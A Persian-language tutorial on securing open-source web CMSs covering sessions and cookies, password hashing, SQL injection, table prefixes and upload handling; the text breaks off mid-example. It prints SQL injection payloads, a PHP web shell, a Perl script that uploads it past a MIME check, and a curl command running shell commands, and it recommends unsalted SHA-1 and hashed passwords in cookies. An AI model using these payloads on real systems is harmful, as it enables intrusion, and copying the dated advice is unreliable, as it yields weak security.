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  مقدمه:

هاي  ترين پروژه يكي از پيچيده 2ويژه از نوع تحت وببه  CMS1هاي مديريت محتوا و يا  طراحي سيستم

در اختيار  3باز منبع آيد. به ويژه اگر طراحان بخواهند نتيجه كار خود را به صورت نويسي به حساب مي برنامه

  عموم قرار دهند.

باگ  است قرار خواهد گرفت و طبيعي است كه هر لحظه ممكن گانكد پروژه در اختيار هم چرا كه سورس

  اند را به خطر بياندازد. جديدي كشف شده و امنيت تمام كاربراني كه از سيستم مورد نظر استفاده كرده

  زند. را مي اول هايي حرف نين سيستمتوان گفت بحث امنيت در چ بنابراين، مي

طراحان پروژه بايد قبل از انتشار سيستم، بسته بودن هر نوع راه نفوذ و رعايت اصول امنيت را بررسي كرده و 

اگر پروژه در دامنه وسيعي منتشر شود، ممكن است ارائه  در غيراينصورتسپس اقدام به انتشار آن نمايند، 

به حساب آيد! چه بسا  »دارو بعد از مرگ سهراب نوش«وصله امنيتي حتي چند لحظه پس از كشف باگ، 

اند كه در اين مدت با خيال راحت و بدون اطلاع تيم طراح سيستم، به سيستم مشتريان نفوذ  هكرهايي بوده

  اند! سوء استفاده كرده كرده و به اندازه كافي

  آورم: ام مي اي كه درگير آن بوده ، يك مثال عملي از پروژهها سيستماين نوع امنيتي  رتر شدن خط براي شفاف

اي  كه يك سيستم مديريت آزمون آنلاين است، به دليل وجود يك باگ، يك كاربر حرفه 4در پروژه تستا

به پنل مديريت سيستم نفوذ كند و بنابراين، به همه  توانست خود را جاي مدير كل سيستم جا زده و مي

  چيز، از جمله پاسخ صحيح سؤالات دسترسي يابد!

به محض اطلاع از اين باگ، وصله رفع آن باگ را منتشر كرديم، اما ممكن است بسياري از كه هر چند 

و در جهت  ن وصله نشوندها متوجه اي اند به اين زودي كاربراني كه اين سيستم را روي سايت خود نصب كرده

  و چه بسا اين مشكل، امنيت يك آزمون را به خطر بياندازد! رفع باگ اقدام نكنند

  

ها در تهيه يك  رعايت آنعدم كه را ام در اين مجال، نكات امنيتي  با توجه به آنچه گفته شد، تصميم گرفته

  خواهد آورد، بررسي نمايم.باز، خطرات امنيتي بزرگي به وجود  مديريت محتواي منبعسيستم 

                                                           
1
 Content Management System 

2
 Web-based 

3
 Open-Source 

4
 http://testa.cc 
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  )Log in and outنكات امنيتي در طراحي بخش ورود و خروج سيستم (

كوكي يا سن؟ش 

  نويسي، دو امكان وجود دارد: هاي برنامه براي تعيين هويت كاربر در زبان

 )Cookieاستفاده از كوكي ( - 1

 )Sessionاستفاده از سشن ( - 2

  

  كوكي چيست؟

تواند بر روي سيستم كاربر ايجاد نمايد و اطلاعاتي از  نويس مي كه برنامه كوكي يك فايل متني ساده است

ربري و پسورد را درون آن ذخيره كرده و در مراجعات بعدي نسبت به وجود و يا عدم وجود آن و قبيل نام كا

  ها تصميم بگيرد. هاي موجود در آن همينطور نسبت به داده

  

  سشن چيست؟

است و همان كارايي را دارد، با اين تفاوت كه اين فايل متني به جاي سيستم سشن نيز يك فايل متني ساده 

  شود. كاربر، روي سرور ايجاد مي

تواند عمر آن را مشخص  نويس مي دارد و برنامه» طول عمر«تفاوت ديگر سشن با كوكي اين است كه كوكي 

اشته باشد). در اين حالت اگر ثانيه عمر د 3600كند (مثلاً مشخص كند كه كوكي مربوط به نام كاربري 

كاربر مرورگر خود را ببندد و حتي سيستم خود را نيز خاموش كند و قبل از پايان عمر كوكي به سايت 

توان نسبت به آن تصميم گرفت. در حالي كه سشن به محض  مراجعه كند، همچنان كوكي وجود دارد و مي

ور، پاك خواهد شد و در مراجعه بعدي، هويت كاربر بسته شدن مرورگر كاربر و در حقيقت، قطع جلسه با سر

 20شود و بعد از  دقيقه نگاه داشته مي 20فرض تا  ضمن اينكه سشن به طور پيش تشخيص داده نخواهد شد.

توان اين زمان را تغيير داد، اما در كل، به محض بسته شدن مرورگر،  دقيقه پاك خواهد شد. هر چند مي

  سشن پاك خواهد شد.
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  هاي استفاده از كوكي ريسك

o  داشته باشد به كوكي دسترسي تواند كسي ميهر! 

نشيند و در نتيجه در صورتي كه  روي سيستم كاربر ميترين مشكلات كوكي اين است كه  يكي از بزرگ

تواند به راحتي با دزديدن آن كوكي و قرار دادن آن روي  كاربر با نكات امنيتي آشنا نباشد، هكر مي

  وان آن كاربر به سيستم معرفي كند.د را به عنسيستم خود، خو

o تواند اطلاعات داخل كوكي را بخواند! هكر مي 

ها را باز كرده و اطلاعات داخلشان را  تواند آن ها دسترسي دارد، طبيعتاً مي از آنجا كه هكر به كوكي

  ببيند.

o ايجاد كوكي روي سيستم شود!مانع از  دتوان سيستم امنيتي كاربر مي 

ويروس به  صورتي كه كاربر امنيت سيستم خود را چه از طريق تنظيمات مرورگر و چه از طريق آنتيدر 

  اي نتواند روي سيستم او بنشيند. حد بالايي ارتقا داده باشد، ممكن است هيچ كوكي
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  هاي استفاده از سشن: ريسك

o :به زحمت افتادن كاربر در مراجعات متوالي به سايت  

ها  شود و هكر به آن هاي مربوط به كوكي را ندارد (چرا كه روي سرور ايجاد مي ريسكهر چند كه سشن 

دسترسي نخواهد داشت و بلوكه نيز نخواهد شد) اما با توجه به ماهيت سشن كه در هر بار بستن مرورگر، 

  شد، در برخي شرايط، استفاده از سشن منطقي نيست. حذف مي

ي خود در سايتي كه چندان اطلاعات مهمي از كاربر دريافت نكرده تصور كنيد كه كاربري در حساب كاربر

هاي گفتگو و يا حتي صندوق ايميل كاربر)، لاگين كرده است و انتظار دارد چند ساعت ديگر و  (مانند انجمن

نباشد نداشته شود، نيازي به وارد كردن مجدد نام كاربري و پسورد  يا فردا و روزهاي بعد كه وارد سايت مي

كند، دوباره  بندد و باز مي ا طراح از سشن استفاده كرده است و كاربر بايد هر بار كه مرورگر خود را ميام

  زدگي كاربر از سايت خواهد شد.خستگي و اطلاعات لاگين را وارد نمايد! اين به مرور باعث 

  

 :Session Hijackingخطر 

 ايجاد جلسه يك وبگاه افزار نرم سايت توسط كاربر، به ورود اطلاعات كردن وارد از همانطور كه گفته شد، پس

 طبق .مانند مي ذخيره اطلاعات اين شده، مشخص زمان تا و كند مي ذخيره را ورود اطلاعات آن در و

 جلسه كليد داشتن با نفوذگر شخص كه است طبيعي ها سشن عملكرد نحوه مورد در شده داده توضيحات

 نام داشتن بدون امر اين كه است بديهي و كند معرفي وبگاه در شده وارد كاربر عنوان به را خود تواند مي

 جعل را وبگاه مدير جلسه كليد نفوذگر نيز مواقع اغلب در كه بود خواهد انجام قابل عبور رمز يا كاربري

هايي براي جلوگيري از اين نفوذ وجود  حل البته راه .شود مي وبگاه مديريت صفحه وارد طريق اين از و كند مي

و يكي وابسته كردن سشن به آي.پي  session.cookie_httponlyكردن مقدار  trueيكي دارد كه 

  شود: كاربر است. در تصوير زير تركيبي از استفاده از هر دو مشاهده مي
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  فاده كرد؟بايد از سشن استدر چه شرايطي بايد از كوكي و  در چه شرايطي

ريسك بالاي كوكي (به توان نتيجه گرفت كه  هاي بيان شده در بالا، مي ها و ريسك با توجه به ويژگي

هايي كه دزديده  ها در سيستم شود كه استفاده از آن خصوص، خطر دزديده شدن آن توسط هكر) باعث مي

موجودي حساب بانكي و يا ناپذير (از جمله به سرقت رفتن  شدن اطلاعات باعث ايجاد مشكلات جبران

  شود، چندان منطقي نباشد. اطلاعات محرمانه و خصوصي كاربر و امثالهم) مي

  كنند. هاي بانكي و مرتبط با خريد و فروش، از سشن استفاده مي اين روزها تمامي سايت

وجود  هاي كاربر و لاگين كردن به جاي وي، مشكل خاصي به اما در مواردي كه بر فرض، سرقت رفتن كوكي

  آورد، بهتر است از كوكي استفاده شود. نمي

رساني معمولي را در نظر بگيريد. بر فرض اگر  يك انجمن گفتگو و يا حساب كاربري در يك سايت اطلاعمثلاً 

هاي كاربر به سرقت رود و هكر با نام كاربري شخص ديگري لاگين كند، هيچ كاري به جز ارسال چند  كوكي

  شود. تواند انجام دهد! كه اين كار نيز با حذف آن مطالب جبران مي و نميمطلب با نام كاربري ا

  دهند از تركيبي از هر دو استفاده كنند: ها ترجيح مي در بسياري از موارد، سايت

 مرا به خاطر بسپار: - 1

مرا به خاطر «گيرند با اين عنوان:  باكس در نظر مي يك چك» log in«ها در كنار دكمه  بسياري از سايت

اگر كاربر احساس كرد كه سيستم او يك سيستم اشتراكي نيست، يعني هيچ كس به جز خودش به ». بسپار

اي  اش، دسترسي داشتند، سوء استفاده (و اگر هم افرادي مثل اعضاي خانوادهآن سيستم دسترسي ندارد 

شود اما  كند. در اين حالت از كوكي براي شناسايي او استفاده مي اين گزينه را فعال مياتفاق نخواهد افتاد) 

تواند اين گزينه را  نت به آن سايت وارد شده مي اگر كاربر احساس كند كه در يك محل عمومي مثل كافي

  فعال نكند تا آن سايت از سشن براي شناسايي وي استفاده كند.

 با سشن: نام كاربري با كوكي، پسورد -2

ها اين است كه براي حفظ نام كاربري، از كوكي استفاده كنيد و براي حفظ پسورد، از  يكي ديگر از روش

بيند و فقط  سشن. در اين صورت، كاربر با ورود به سايت، نام كاربري خود را تايپ شده و آماده لاگين مي

  وارد نمايد.ست پسورد خود را  كافي
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 در ابتداي تمام صفحات، اعتبارسنجي شوند: پسورد و نام كاربري

ترين اصول در بحث تشخيص هويت كاربر اين است كه نام كاربري و پسورد بايد در كوكي يا  يكي از مهم

سشن ذخيره شود و سپس در ابتداي هر صفحه و پيش از هر گونه اقدام، بررسي شود كه اين نام كاربري و 

  پسورد معتبر باشد.

  شوند. هاي مبتدي به خاطر رعايت نكردن همين اصول ساده هك مي سيستمبسياري از 

پس نبايد به اين بسنده كرد كه اگر كاربر فقط يك بار، در هنگام لاگين، نام كاربري و پسورد خود را درست 

كنيم و سپس در  وارد كرد، همين كافي است و يك كوكي ايجاد كرده و نام كاربري او را در آن ذخيره مي

  گيريم! حات مختلف نسبت به اين نام كاربري تصميم ميصف

نام با تواند خيلي راحت با ايجاد يك كوكي  ميهكر خير! اين روش در چند ثانيه هك خواهد شد چرا كه 

  و درج يك نام كاربري در آن، خود را به عنوان آن كاربر (مثلاً مدير سيستم) جا بزند!مورد نظر شما 

نگام استفاده از كوكي، هميشه بايد نام كاربري و پسورد را در يك يا دو كوكي بنابراين، به خصوص در ه

  بررسي كنيد كه اين نام كاربري و پسورد معتبر باشد. ،مجزا نگاه داريد و هميشه قبل از هر گونه عمليات

شود و اين فايل در ابتداي تمام صفحات، ايمپورت  درج مي main.phpدر قطعه كد زير كه در فايل 

)importهاي مربوط به نام كاربري و پسورد ايجاد شده  كند: اولاً كوكي شود، دو موضوع را بررسي مي ) مي

  ها آيا معتبر است يا خير؟ باشند و ثانياً اطلاعات داخل آن
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 شود: hashپسورد كاربر هميشه بايد 

ها  در اين سيستم هاي مرتبط با نام كاربري و پسورد اين است كه يك اصل مهم در طراحي سيستم

نويس هرگز نبايد پسورد كاربر را به همان صورت كه وارد شده است جايي ذخيره كند. در غيراينصورت  برنامه

  اعتبار آن سايت زير سؤال خواهد رفت!

سايت، بخشي براي لاگين كاربران وجود داشته باشد. يكي از مواردي كه معمولاً  فرض كنيد در يك وب

اگر كاربر به اين بخش برود و بتواند ». ام پسورد خود را فراموش كرده«نكي است با عنوان شود، لي مشاهده مي

  برد! پس از طي مراحلي بفهمد كه پسوردش چه بوده، اين، اعتبار آن سيستم را به طور كامل از بين مي

ا وارد نمايد كه شما هرگز نبايد پسورد كاربر را در سيستم خود بدانيد! چرا كه ممكن است كاربر پسوردي ر

امنيت هاي مختلف به كار برده است. اگر شما به هر دليلي اين پسورد را بدانيد،  سايت آن پسورد را در وب

  كاربر به طور كامل در خطر خواهد بود.

 راه حل چيست؟ -

  راه حل، هش كردن پسورد كاربر در تمام شرايط است. يعني:

را پر كرد و حالا شما قصد ثبت اطلاعات و پسورد او در ديتابيس در لحظه ثبت نام: وقتي كاربر فرم ثبت نام 

  كنيد. را داريد، ابتدا پسورد را هش كرده و سپس در ديتابيس درج مي

كنيد كه چنين نام كاربري و پسوردي در  در لحظه لاگين: پسورد كاربر را هش كرده و سپس بررسي مي

كنيد در غيراينصورت پيغام  يا سشن كاربر را ايجاد مي ديتابيس موجود است يا خير؟ اگر موجود بود، كوكي

  دهيد. را نمايش مي» عدم صحت نام كاربري يا پسورد«
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  چيست؟ كردن پسورد Hashمنظور از 

ا فرآيندي است كه ب ،شود نيز گفته مي ،و يا اثرانگشت پيامخلاصه  ،Checksum كه به آن  Hash يك

به يك طول ثابت كاهش » طرفه يك«به صورت رياضي، حجم يك جريان از داده را  هاي استفاده از روش

 ،باشد. اثرانگشت مشابه اثرانگشت يك شخص مي ،hash عملكرد. ت)بي 160و يا  128 عمولاًمدهد ( مي

فرد به منظور تشخيص هويت افراد بوده و در ادامه با استفاده از آن امكان دستيابي به  هپارامتري منحصرب

 Hash . اكثر توابعدگرد فراهم مي ،جنسيت و ساير موارد دلخواه ،قد ،ساير مشخصات افراد نظير: رنگ چشم

  .دباشن مي  از لحاظ رمزنگاري داراي عملكردي مشابه توابع رمزنگاري

  چند نكته مهم در مورد هش:

 .است ممكن غير تقريباً كارا صورت به) معكوس عمليات( آن ي هش شده رشته از اصلي رشته كشف -

 هاي خروجي شدن يكي احتمال( كند مي ايجاد فرد به منحصر كاملاً شده هش رشته يك داده هر -

 3.4028236692093846346337460743177e+38 در يك MD5 الگوريتم در متفاوت رشته دو هش

  ).باشد مي

هاي شما تبديل  برنامهاين خواص، هش كردن را به روشي كارا و ايده آل براي ذخيره سازي كلمات عبور در 

) بتواند به سيستم و بانك اطلاعاتي شما نفوذ كند و Hacker( حتي اگر يك نفوذگر چونكند. چرا؟  مي

يه را از تواند كلمات عبور اول بخشي از اطلاعات شما را به دست آورد (شامل كلمات عبور هش شده) نمي

  روي آن ها بازيابي كند.

د را به عنوان مدير سيستم به پسوردهاي كاربران كه ممكن است يك پسواز اين گذشته، همين كه خود شم

  اندازد! عمومي باشد، دسترسي داشته باشيد، امنيت كاربر را به خطر مي
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  هاHashموارد استفاده از 

     Hash كنيم: ها را بيان مي موارد استفاده كمي دارند كه ما در ادامه بحث آندر كل ها  

     Verifying file integrity يا يك فايل صحتتشخيص  - 1

توان در بحث انتقال  شود، مي با توجه به اينكه براي هر نوع داده با هر حجمي، يك هش كوتاه توليد مي

را به دست آورد. وقتي فايل  آن MD5هاي حجيم، در مبدأ يك بار فايل مورد نظر را هشت كرد و كد  فايل

به  MD4ت كردن فايلي كه به آنجا رسيده است و مقايسه كد به مقصد رسيد، در مقصد نيز با يك بار هش

  دست آمده در مبدأ و مقصد به صحت فايلي كه نهايتاً به مقصد رسيده است پي برد.

دانلود مي نماييم مي توانيم با به دست آوردن مقدار از سايتي براي مثال زماني كه يك فايل با حجم بالا را 

MD5  افزارهايي مثل  (با نرمآن فايلHashTab(  مقدار با  آن مقايسه و Md5  سايت توسط شده داده 

  از درستي فايلمان اطمينان حاصل كنيم. ،نظر مورد

  كردن كلمه عبورهش  -2

به وضوح در شكل زير  آننحوه انجام كه  )digitally امضاهاي(  ديجيتال روش به اسناد   نشانه گذاري - 3

  نشان داده شده است:
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                                                             انواع هش

o MD4 (128 bits, obsolete) 
o MD5 (128 bits) 
o RIPEMD-160 (160 bits) 
o SHA-1 (160 bits) 
o longer versions of SHA-1, with slightly different designs (SHA-256, 

SHA-384, and SHA-512) 

انواع مختلفي از الگوريتم هاي قوي هش كردن براي استفاده در برنامه هاي كاربردي موجود هستند، 

 SHA-1(Secure hash algorithm)و  MD5ترين آنها كه مورد استفاده برنامه نويسان هستند  محبوب

اين  كردند. استفاده مي DES(Data Encryption Standard( از ،تر هاي قديمي . سيستمباشند مي

-SHA مانند تري قوي هاي الگوريتم. گردد نمي محسوب كردن هش قوي روش يك  بيتي ديگر 56روش 

گردد ولي براي هش كردن  براي موارد خاص مانند امضاهاي ديجيتالي توصيه مي SHA-512و  256

  كند. هنوز سطح امنيت بسيار خوبي را فراهم مي SHA-1هاي امروزي  در برنامه كلمات عبور

شود، پس از بررسي نام كاربري و پسوردي  درج مي login.phpدر قطعه كد زير كه تقريباً در ابتداي فايل 

كه كاربر در فرم لاگين وارد كرده است، اگر اين اطلاعات با اطلاعاتي كه در بانك اطلاعاتي (هنگام ثبت نام) 

  شود: هاي كاربر ايجاد مي درج شده است، يكسان باشد، كوكي

 

هش شده است و سپس در كوكي ذخيره شده است در  ()sha1دقت كنيد كه پسورد كاربر با تابع 

  ترين اصول امنيتي رعاي غيراينصورت يكي از مهم

توجه داشته باشيد كه در هنگام ثبت نام كاربر نيز اين پسورد بايد به صورت هش شده در ديتابيس ذخيره 

  گردد تا جواب كوئري بالا درست باشد.
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  و حفاظت در برابر آن SQL Injectionحمله 

است. در اين حمله، هكر، يك نقطه نفوذ » SQLتزريق «ترين حملات هكرها، حمله از نوع  يكي از شايع

  دهد! مورد نظر خود را  به خورد سيستم قرباني مي SQLيافته و كدهاي 

؛ به طور مثال اگر هكر بتواند اين كدها ممكن است گاهي موجب از بين رفتن كل اطلاعات يك جدول شوند

  (كاربران) نابود خواهد شد: usersكد زير را اجرا كند، كد جدول 

DROP TABLE users; 

  مشكل كجاست؟

هاي كاربر را بدون بررسي و حذف كاراكترهاي  ورودينويس،  گيرد كه برنامه مشكل از آنجا نشأت مي

  كند! غيرمجاز، به ديتابيس ارسال مي

فرض كنيد قرار است نام كاربري و پسورد كاربر را از يك فرم لاگين دريافت كنيد و در به طور مثال، 

ديتابيس بررسي كنيد كه اگر اين نام كاربري و پسورد صحيح بود، كوكي يا سشن كاربر ايجاد شود. كوئري 

  تواند به اين صورت باشد: مورد نظر براي اين كار مي

 

  و پسورد بدون هيچ بررسي در بين كوئري قرار گرفته است!بينيد، نام كاربري  همانطور كه مي

  و در پسورد،  عبارت زير را وارد كند: adminهكر در بخش نام كاربري، كلمه حال، تصور كنيد 

' OR ''=' 

  بود:كوئري كامل به صورت زير خواهد 

  است، پس هكر به راحتي و بدون داشتن پسورد، لاگين خواهد كرد! ''هميشه برابر با  ''از آنجا كه 

  هكر به جاي نام كاربري وارد كند:و يا اگر 

a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't 

  در اين صورت كوئري نهايي به اين صورت خواهد بود:

SELECT * FROM `users` WHERE username = 'admin' AND password = '' OR '' = ''; 
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SELECT * FROM `users` WHERE username = 'a';DROP TABLE users;… 

  خواهد شد. usersاين كوئري باعث حذف كل جدول 

دهند، اما اكثر  اجازه اجراي چندين كوئري در قالب يك دستور را مي SQLتوجه: هر چند برخي سرورهاي 

SQL API ها، (مثلmysql_query  درPHPوئري در يك ) به دلايل امنيتي امكان اجراي چندين ك

را  "يا  'ها وارد كردن كاراكترهايي مثل Web Serverضمن اينكه بسياري از  دهند. فراخواني تابع را نمي

 اند. ممنوع كردههاي سايت،  در فرم

  راه حل اين مشكل؟

نويسي براي رفع مشكل كاراكترهاي  ها استفاده از توابعي است كه در هر زبان برنامه يكي از بهترين راه حل

براي  ()mysql_real_escape_string، تابع PHPغيرمجاز تعبيه شده است. به طور مثال در زبان 

  اين كار در نظر گرفته شده است.

  ه اين حالت خواهد بود:بنابراين، قطعه كد بالا به صورت تصحيح شده، ب
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  در نظر گرفتن پيشوند دلخواه براي نام جداول در بانك اطلاعاتي

دهـد، مخفـي    باز را بسيار كاهش مي يكي از نكاتي كه احتمال هك شدن يك سيستم مديريت محتواي منبع

  ماندن نام جداول از ديد نفوذگر است.

باشد، هكر  usersكنيد، هميشه نام جدول مربوط به كاربران،  به طور مثال، اگر در سيستمي كه منتشر مي

هاي خطرناكي را به بانك ارسال كند. به طور مثـال در نفـوذ    تواند كوئري به محض يافتن يك نقطه نفوذ، مي

SQL Injection تواند با ارسال چنين كدي كد اطلاعات جدول  ميusers  پاك كند:را  

a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't 

  كه در كل، ممكن است داشته باشيم:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM 

userinfo WHERE 't' = 't'; 

  

  راه حل:

از كاربر در حين نصب سيستم و قرار دادن آن در ها دريافت يك پيشوند دلخواه  حل ترين راه يكي از مهم

  ابتداي نام جداول است. دقت كنيد:
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خواهد  ts_settingsو يا  ts_usersرا وارد كرد، نام جداول شما  tsبه طور مثال، اگر كاربر پيشوند 

هاي خود  نگاه داريد و از اين پس كوئري config.phpشد. شما بايد اين پيشوند را در فايلي معمولاً به نام 

  را به اين صورت به ديتابيس ارسال كنيد:

 

  ذخيره شده است. config.phpاست كه در فايل  _tsهمان  dbprefix$مقدار 
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  نكات امنيتي در طراحي بخش آپلود فايل:

آپلود فايل است. به طور مثال، افتد، مركز  جا مي هايي كه هر هكري به فكر نفوذ به آن يكي از اولين بخش

مركزي براي دريافت عكس پرتره يا آواتار از كاربر و يا مركز آپلود عكس در يك گالري عكس و يا مركز آپلود 

  ويدئو و عكس در يك سايت شبكه اجتماعي.

  !ناپذيري به سايت تحميل كند تواند صدمات جبران سازي امن مراكز آپلود مي غفلت از كدنويسي و پياده

هاي  ها داراي باگ هاي ما، بسياري از سايت اي بيان كرده است كه در بررسي در مقاله ScanItشركت 

  اند! امنيتي بسيار خطرناكي در مراكز آپلود خود بوده

طور راه حل هر يك  در اين بخش در مورد حملاتي كه ممكن است به مركز آپلود صورت گيرد و همين

  كنيم. صحبت مي

  ساده از آپلودر فايل:سازي  يك پياده

  يك آپلودر فايل بدون در نظر گرفتن نكات امنيتي، در دو مرحله ساده طراحي خواهد شد:

  فرم دريافت كننده فايل: - 1

 upload1.htmlمحتويات فايل 

<form name="upload" action="upload1.php" method="POST" 
ENCTYPE="multipart/formdata"> 

Select the file to upload: <input type="file" name="userfile"> 
<input type="submit" name="upload" value="upload"> 

</form> 
 

 صفحه هندل كننده فرم و آپلود كننده فايل: - 2

  upload1.phpمحتويات فايل 
<?php 
$uploaddir = 'uploads/'; // Relative path under webroot 
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { 
echo "File is valid, and was successfully uploaded.\n"; 
} else { 
echo "File uploading failed.\n"; 
} 
?> 

تواند يك  او مي حمله كننده حتماً لازم نيست از فرم بالا براي آپلود فايل استفاده كند!دقت كنيد كه 

هاي  بنويسد تا اين كار را انجام دهد و يا از يك پراكسي بين راهي براي تغيير داده Perlاسكريپت به زبان 

  ارسالي به داده خودش، استفاده كند.
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  كنيم. ها اشاره مي امنيتي بسياري دارد كه به آنهاي  سازي ساده، باگ به هر حال، اين پياده

 PHPآپلود كند؛ از جمله يك فايل  /uploadsتواند هر نوع فايل دلخواهي را به پوشه  حمله كننده مي -

Shell !را 

بر روي سرور قرباني اجرا دهد دستورات دلخواه خود را  فايلي است كه به هكر اجازه مي PHP Shellفايل 

(تصور كنيد اين كدها را در فايلي به نام  ساده به صورت زير خواهد بود Shellل يك فاي نمايد.

shell.php ايم) ذخيره كرده:  

<?php 
system($_GET['command']); 
?> 

خواهد را با اشاره به  تواند هر فرماني كه مي آپلود شود، هكر مي Web Serverاگر اين فايل روي يك 

  آدرس زير اجرا نمايد:

http://server/shell.php?command=any_Unix_shell_command 

Shell هايPHP تري با جستجو در اينترنت قابل مشاهده هستند. پيشرفته  

را به روي سرور  shell.phpفايل  upload1.phpكه با استفاده از فايل  Perlيك اسكريپت به زبان 

  كند: آپلود مي

#!/usr/bin/perl 
use LWP; # we are using libwwwperl 
use HTTP::Request::Common; 
$ua = $ua = LWP::UserAgent->new; # UserAgent is an HTTP client 
$res = $ua->request(POST 'http://localhost/upload1.php', # send POST 
request 
Content_Type => 'form-data', # The content type is 
# multipart/form-data  the standard for form-based file uploads 
Content => [ 
userfile => ["shell.php", "shell.php"], # The body of the 
# request will contain the shell.php file 
], 
); 
print $res->as_string(); # Print out the response from the server 

 

كه حاوي كدهاي بالا است را اجرا كنيد، چنين اطلاعاتي ارسال و دريافت  upload1.plوقتي فايل 

  اند): شود (اطلاعات ارسالي به رنگ آبي و اطلاعات دريافتي به رنگ سياه مشخص شده مي

 upload1.plمحتواي فايل 
POST /upload1.php HTTP/1.1 
TE: deflate,gzip;q=0.3 
Connection: TE, close 
Host: localhost 
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User-Agent: libwww-perl/5.803 
Content-Length: 156 
Content-Type: multipart/form-data; boundary=xYzZY 
 
--xYzZY 
Content-Disposition: form-data; name="userfile"; filename="shell.php" 
Content-Type: text/plain 
 
<?php 
system($_GET['command']); 
?> 
 
--xYzZY— 
 
HTTP/1.1 200 OK 
Date: Wed, 13 Jun 2007 12:25:32 GMT 
Server: Apache 
X-Powered-By: PHP/4.4.4-pl6-gentoo 
Content-Length: 48 
Connection: close 
Content-Type: text/html 
File is valid, and was successfully uploaded. 
 

را به صورت زير اجرا  shellهاي  توانيم فرمان با موفقيت آپلود شد، مي shell.phpبعد از اينكه فايل 

  نماييم:

$ curl http://localhost/uploads/shell.php?command=id 
uid=81(apache) gid=81(apache) groups=81(apache) 

  

 *cURL هاي تحت وب است كه هم براي ويندوز و هم براي لينوكس در  يك ابزار مفيد براي تست برنامه

  مراجعه كنيد. /http://curl.haxx.seتوانيد به آدرس  باشد. براي دانلود آن مي دسترس مي
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  ي فايل آپلود شدهمحتوانوع بررسي 

خواهد به كاربر اجازه دهد كه هر نوع فايل كه دوست داشت روي سرور آپلود  نمي طبيعتاً هيچ وبمستري

 ها وجود دارد. هايي براي نوع فايل نمايد. معمولاً محدوديت

  قطعه كد زير را در نظر بگيريد:

  upload2.phpمحتواي فايل 
<?php 
if($_FILES['userfile']['type'] != "image/gif") { 
    echo "Sorry, we only allow uploading GIF images"; 
    exit; 
} 
$uploaddir = 'uploads/'; 
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { 
    echo "File is valid, and was successfully uploaded.\n"; 
}  
else  
{ 
    echo "File uploading failed.\n"; 
} 
?> 

 
 MIMEبا استفاده از اين قطعه كد، اگر هكر اقدام به آپلود فايلي با محتوايي غير از عكس كند، برنامه، نوع 

 HTTPدهد. به نتيجه درخواست  كند و اجازه آپلود را نمي را كه مشخص كننده نوع فايل است بررسي مي

  دقت كنيد:

POST /upload2.php HTTP/1.1 
TE: deflate,gzip;q=0.3 
Connection: TE, close 
Host: localhost 
User-Agent: libwww-perl/5.803 
Content-Type: multipart/form-data; boundary=xYzZY 
Content-Length: 156 
 
--xYzZY 
Content-Disposition: form-data; name="userfile"; filename="shell.php" 
Content-Type: text/plain 
 
<?php 
system($_GET['command']); 
?> 
 
--xYzZY— 
 
HTTP/1.1 200 OK 
Date: Thu, 31 May 2007 13:54:01 GMT 
Server: Apache 
X-Powered-By: PHP/4.4.4-pl6-gentoo 
Content-Length: 41 
Connection: close 
Content-Type: text/html 
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Sorry, we only allow uploading GIF images 
تا اينجا همه چيز خوب است، اما متأسفانه راهي براي دور زدن اين كد وجود دارد! اين قطعه كد فقط نوع 

تنظيم شده است. اما هكر به  text/plainكندكه در مثال بالا روي  محتوا كه در هدر فايل است را چك مي

) Requestبه راحتي تقاضا (تواند  تغيير دهد! هكر مي image/gifرا به چيزي مثل  تواند آن راحتي مي

  دقت كنيد: upload1.plارسال شده به سرور را دستكاري كند. به محتواي فايل 

#!/usr/bin/perl 
# 
use LWP; 
use HTTP::Request::Common; 
$ua = $ua = LWP::UserAgent->new;; 
$res = $ua->request(POST 'http://localhost/upload2.php', 
Content_Type => 'form-data', 
Content => [ 
userfile => ["shell.php", "shell.php", "Content-Type" => 
"image/gif"], 
], 
); 
print $res->as_string(); 

  كند: را توليد مي HTTPاجراي اين اسكريپت، درخواست 

POST /upload2.php HTTP/1.1 
TE: deflate,gzip;q=0.3 
Connection: TE, close 
Host: localhost 
User-Agent: libwww-perl/5.803 
Content-Type: multipart/form-data; boundary=xYzZY 
Content-Length: 155 
 
--xYzZY 
Content-Disposition: form-data; name="userfile"; filename="shell.php" 
Content-Type: image/gif 
 
<?php 
system($_GET['command']); 
?> 
 
--xYzZY— 
 
HTTP/1.1 200 OK 
Date: Thu, 31 May 2007 14:02:11 GMT 
Server: Apache 
X-Powered-By: PHP/4.4.4-pl6-gentoo 
Content-Length: 59 
Connection: close 
Content-Type: text/html 
<pre>File is valid, and was successfully uploaded. 
</pre> 

  

، به صورت text/plainرا تغيير داده و به جاي  Shell.phpاين كد، نوع محتواي فايل در هدر فايل 

image/gif كند!! كند و برنامه با خوشحالي اين فايل را قبول مي به برنامه شما معرفي مي  
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  ي فايل آپلود شدهمحتوابررسي 

محتواي واقعي فايل را بررسي بهتر است شود،  به جاي اعتماد به نوع محتوا كه در هدر فايل ذخيره مي

  نماييد تا مطمئن شويد كه محتواي فايل واقعاً مربوط به يك عكس است و حاوي كدهاي مخرب نيست.

براي اين كار تعبيه شده است. اين تابع آدرس يك عكس را به  PHPدر زبان  ()getimagesizeتابع 

  گرداند. ) عكس را برميtype) و نوع (sizeگيرد و اندازه ( عنوان ورودي مي

  به قطعه كد زير دقت كنيد:

  upload3.phpمحتواي فايل 
<?php 
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']); 
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') 
{ 
    echo "Sorry, we only accept GIF and JPEG images\n"; 
    exit; 
} 
$uploaddir = 'uploads/'; 
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { 
    echo "File is valid, and was successfully uploaded.\n"; 
} else { 
    echo "File uploading failed.\n"; 
} 
?> 

تغيير دهد، اين فايل از  image/gifحالا اگر حتي هكر نوع محتوا را در هدر فايل دستكاري كرده و به 

  پذيرفته نخواهد شد. upload3.phpطرف 

POST /upload3.php HTTP/1.1 
TE: deflate,gzip;q=0.3 
Connection: TE, close 
Host: localhost 
User-Agent: libwww-perl/5.803 
